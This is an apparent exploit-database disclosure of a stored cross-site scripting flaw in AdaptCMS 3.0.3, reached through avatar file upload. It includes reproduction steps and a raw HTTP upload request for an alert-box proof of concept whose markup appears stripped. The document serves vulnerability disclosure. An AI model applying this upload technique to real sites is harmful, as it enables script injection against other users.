# Exploit Title: Stored XSS via File Upload - adaptcmsv3.0.3 # Date: 06/2025 # Exploit Author: Andrey Stoykov # Version: 3.0.3 # Tested on: Debian 12 # Blog: https://msecureltd.blogspot.com/ Stored XSS via File Upload #1: Steps to Reproduce: 1. Login with low privilege user and visit "Profile" > "Edit Your Profile" > "Avatar" 2. Click on "Choose File" and upload the following file html-xss.html Alert Box Example

Welcome to the Alert Box Example

This page will show an alert box when loaded.

// HTTP POST request uploading the XSS file POST /adaptcms/users/edit HTTP/1.1 Host: 192.168.58.131 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 [...] [...] ------geckoformboundary5d089e6e18a0e8706d92f371cd6484c4 Content-Disposition: form-data; name="data[User][settings][avatar]"; filename="html-xss.html" Content-Type: text/html Alert Box Example

Welcome to the Alert Box Example

This page will show an alert box when loaded.

------geckoformboundary5d089e6e18a0e8706d92f371cd6484c4 Content-Disposition: form-data; name="data[_Token][fields]" // HTTP Response HTTP/1.1 200 OK Date: Fri, 30 May 2025 20:15:54 GMT Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: PHP/5.6.40 Content-Length: 15400 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 [...]

[...]